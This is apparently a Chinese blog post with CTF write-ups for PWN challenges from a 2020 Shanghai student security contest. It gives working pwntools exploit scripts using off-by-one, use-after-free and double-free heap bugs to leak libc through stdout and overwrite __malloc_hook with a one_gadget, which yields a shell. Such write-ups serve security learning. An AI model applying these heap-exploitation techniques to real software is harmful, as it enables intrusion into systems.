2020上海市大学生网安赛PWN复盘

昨天打了一天取证,没时间看这个了,所幸取证拿了个第三😋

lgtwo

菜单题,show是没用的,来看一下漏洞的位置。

有一个off-by-one,典型off-by-one构造overlapping改stdout来leak,当然unlink应该也可。

这题没什么难度,就是麻烦,还是简单说下overlapping的思路把。

chunk1用来溢出修改chunk2的size,让chunk2、chunk3和并,然后free掉2和3,这样的话3会先进入fastbin并且同时是Unsorted bin的一部分,然后申请出来chunk2会从Unsorted中切割,main_arena落入到3中(进入了fastbin),再申请一个小于3的size,同样会从unsorted bin中切割而不会去fast拿(这就是为什么要申请小于3的size),然后就可以通过这个切割出来的小chunk去修改fastbin中main_arena的低位来爆破修改stdout完成leak,后面也是很常规的再进行一次overlap完成fastbin attack。

#! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()

context.log_level = 'debug'

def menu(cmd):
    sla('>> ',str(cmd))

def add(size,content):
    menu(1)
    sla('size?',str(size))
    sda('content?',content)

def delete(idx):
    menu(2)
    sla('index ?',str(idx))

def change(idx,content):
    menu(4)
    sla('index ?',str(idx))
    sda('content ?',content)


def pwn():
    ###leak libc###
    add(0x68,'overflow')#0
    add(0x100,'aaaa')#1
    add(0x60,'aaaa')#2
    add(0x10,'gap')#3

    payload = 'A' * 0x60 + p64(0) + '\x81'
    change(0,payload)

    delete(1)
    delete(2)

    add(0x100,'aaaa')#1 make main_arena to fastbin
    add(0x50,'aaaa')#2  sort unsorted bin to modify fastbin

    payload = '\xdd' + '\xe5'
    change(2,payload)

    add(0x68,'bbbb')#4
    payload = 'A' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + '\x00'
    add(0x68,'bbbb')#5
    change(5,payload)

    libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 0x3c5600
    success('libc base:'+hex(libc_base))

    ###fastbin attack###
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    one = libc_base + 0x4527a
    realloc = libc_base + libc.symbols['__libc_realloc']

    add(0x68,'overflow')#6
    add(0x100,'aaaa')#7
    add(0x60,'aaaa')#8
    add(0x10,'gap')#9

    payload = 'A' * 0x60 + p64(0) + '\x81'
    change(6,payload)

    delete(7)
    delete(8)

    add(0x100,'aaaa')#7 make main_arena to fastbin
    add(0x50,'aaaa')#8  sort unsorted bin to modify fastbin

    payload = p64(malloc_hook-0x23)
    change(8,payload)

    add(0x68,'bbbb')#10
    add(0x68,'bbbb')#11
    payload = 'A' * (0x13-0x8) + p64(one) + p64(realloc+0x10)
    change(11,payload)

    ###get shell###
    menu(1)
    sla('size?','0x20')

while True:
    try:
        if(sys.argv[1] == 'l'):
            p = process("./pwn")
            elf = ELF("./pwn")
            libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
        else:
            p = remote()
            elf = ELF("./")

        pwn()
        ia()
        p.close()
    except:
        p.close()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

要realloc调栈。


maj0rone

这个好像是国赛的一个原题吧,当时被这代码吓到了,这次好好看一下。

应该是有个UAF,但是同样没有leak就很烦…

add里面还有个小检查:

最终要v7不等于我们输入的内容,算了算了,我最烦看这个,直接爆吧:

好了,正确答案0x50,0x51、0x52也可。

add里面这些也很复杂,不想看,手工测了一下发现不管yes or no都会回到菜单并且没有下面的invaild报错。

反正chunk申请成功了,不管它。UAF的话就构造fake chunk然后打stdout吧,主要是让main_arena进入fastbin这一步。

这题也是不难,相对上个题来说也不太麻烦,还是说一下main_arena落入fastbin的情况。

首先申请四个chunk,有一个是0x60即可,fr掉前两个并让第一个double free,这样chunk2就又指向了chunk1,然后申请一个chunk1在里面伪造一个chunk的头部,然后利用UAF修改chunk2的fd部分指向fake chunk,这样就拿到fake chunk,通过它改掉chunk2的size(chunk2+chunk3大小之和)。

拿到fake chunk
chunk2合并chunk3

这时候大块是由2、3合并成,fr掉2和3,首先3是进入的fastbin,2进入unsorted,此时申请掉大块中的2,main_arena落到3上,即进入fastbin,利用UAF改低位爆破stdout即可。

包括后面的fastbin attack也是用UAF直接改,one需要realloc调栈。

#! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()

context.log_level = 'debug'

def menu(cmd):
    sla('>> ',str(cmd))

def ad(size,content,answer=0x50):
    menu(1)
    sla('please answer the question\n',str(answer))
    sla('______?',str(size))
    sda('start_the_game,yes_or_no?',content)

def fr(idx):
    menu(2)
    sla('index ?',str(idx))

def chan(idx,content):
    menu(4)
    sla('index ?',str(idx))
    sda('_new_content ?',content)

def pwn():

    ###leak libc###
    ad(0x10,'aaaa')#0
    ad(0x10,'aaaa')#1
    ad(0x60,'bbbb')#2
    ad(0x20,'cccc')#3

    fr(0)
    fr(1)
    fr(0) #double free to get fake chunk

    ad(0x10,'aaaa')#4
    payload = p64(0)+p64(0x21) # fake chunk in chunk1
    chan(4,payload)
    chan(1,'\x10')#get fake chunk
    
    
    ad(0x10,'aaaa')#5
    ad(0x10,'aaaa')#6 #fake chunk
    chan(6,p64(0)+p64(0x91)) # fake chunk to modify next chunk size to unsortedbin

    fr(1)
    fr(2)

    ad(0x10,'bbbb')#7
    chan(2,'\xdd'+'\x65')
    ad(0x60,'aaaa')#8
    ad(0x60,'bbbb')#9 IO_2_1_stdout_
    
    payload = 'A' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + '\x00'
    chan(9,payload)

    libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 0x3c5600
    success('libc base:'+hex(libc_base))
    
    ###fastbin attack###
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    one = libc_base + 0x4527a
    realloc = libc_base + libc.symbols['__libc_realloc']

    ad(0x60,'fastbin attack')#10
    
    fr(10)

    chan(10,p64(malloc_hook-0x23))
    ad(0x60,'aaaa')#11
    ad(0x60,'bbbb')#12 malloc_hook
    payload = 'A' * (0x13-0x8) + p64(one) + p64(realloc+0x10)
    chan(12,payload)

    ###get shell###
    menu(1)
    sla('please answer the question\n','0x50')
    sla('______?','0x20')



while True:
    try:
        if(sys.argv[1] == 'l'):
            p = process("./pwn")
            elf = ELF("./pwn")
            libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
        else:
            p = remote()
            elf = ELF("./")

        pwn()
        ia()
        p.close()
    except:
        p.close()

EASY_ABNORMAL

师弟说2.27的,我就按2.27的来看了。

先看第一个漏洞:

show_name()处的一个堆上的格式化字符串。

第二个:

UAF.

new里面的限制比较大:

只能申请两个并限制了大小。

还有一个gift:

虽然格式化字符串在堆上,但是leak libc是不成问题的,重点关注一下gift这个函数,光看也看不很懂,直接动调看看做了什么:

很强的一个事儿是…RBP上有我们的数据了,并且有leave|ret,确定一下位置,可以构造ROP应该。

偏移是0x20,但是问题是我们能输入的字节数也就是刚好能改掉RBP,直接改ret不现实,可以把地址放在堆上,UAF可以leak heap地址,因为leave ret,所以让堆上的某地址+8为one_gadget即可。

该图的rbp是错的,正常应该是堆地址

听别的师傅说是2.23的libc,我就转到2.23做了,不过其实不打远程的话哪个版本影响应该不太大。

#! /usr/bin/python

import sys
from pwn import *
from LibcSearcher import *

sl = lambda a:p.sendline(a)
sd = lambda a:p.send(a)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda a,b:p.sendlineafter(a,b)
rv = lambda a:p.recv(a)
ru = lambda a:p.recvuntil(a)
ia = lambda :p.interactive()
context.log_level = 'debug'

context(arch='amd64', os='linux')

if(sys.argv[1] == 'l'):
	p = process('./pwn')
	elf = ELF('./pwn',checksec=False)

else:
	p = remote()
	elf = ELF('',checksec=False)

def menu(cmd):
    sla('CHOICE :',str(cmd))

def show_name():
    menu(1)

def new(content):
    menu(2)
    sla('cnt:',content)

def delete(idx):
    menu(3)
    sla('idx:',str(idx))

def show():
    menu(4)

def gift(payload):
    menu(23333)
    sda('INPUT:',payload)


###leak libc###
payload = '%p.%p'
sla('NAME: ',payload)

show_name()
ru('INFO:')
rv(15)
libc_base = int(rv(14),16) - 0x3c6780
success('libc base:'+hex(libc_base))

###attack###
one_gadget = libc_base + 0x45226

payload = p64(0) * 3 + p64(one_gadget) 
new(payload)
new('\x00')

delete(0)
delete(1)

#gdb.attach(p)

show()
ru('idx 2:')
heap = u64(rv(6).ljust(8,'\x00')) + 0x28 - 0x8
success('heap base:'+hex(heap))

payload = 'A' * 0x20 + p64(heap)
gift(payload)


###get shell###
ia()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

cpu_emulator

这个2.27的。

大概就是输入一个指令并且可以执行,run这个函数一反编译IDA直接死,换了个版本的IDA就可以了。

vm pwn,这玩意儿分析起来可浪费时间了…该打球去了,明天再看- –


Leave a Reply

Your email address will not be published. Required fields are marked *

fourteen − thirteen =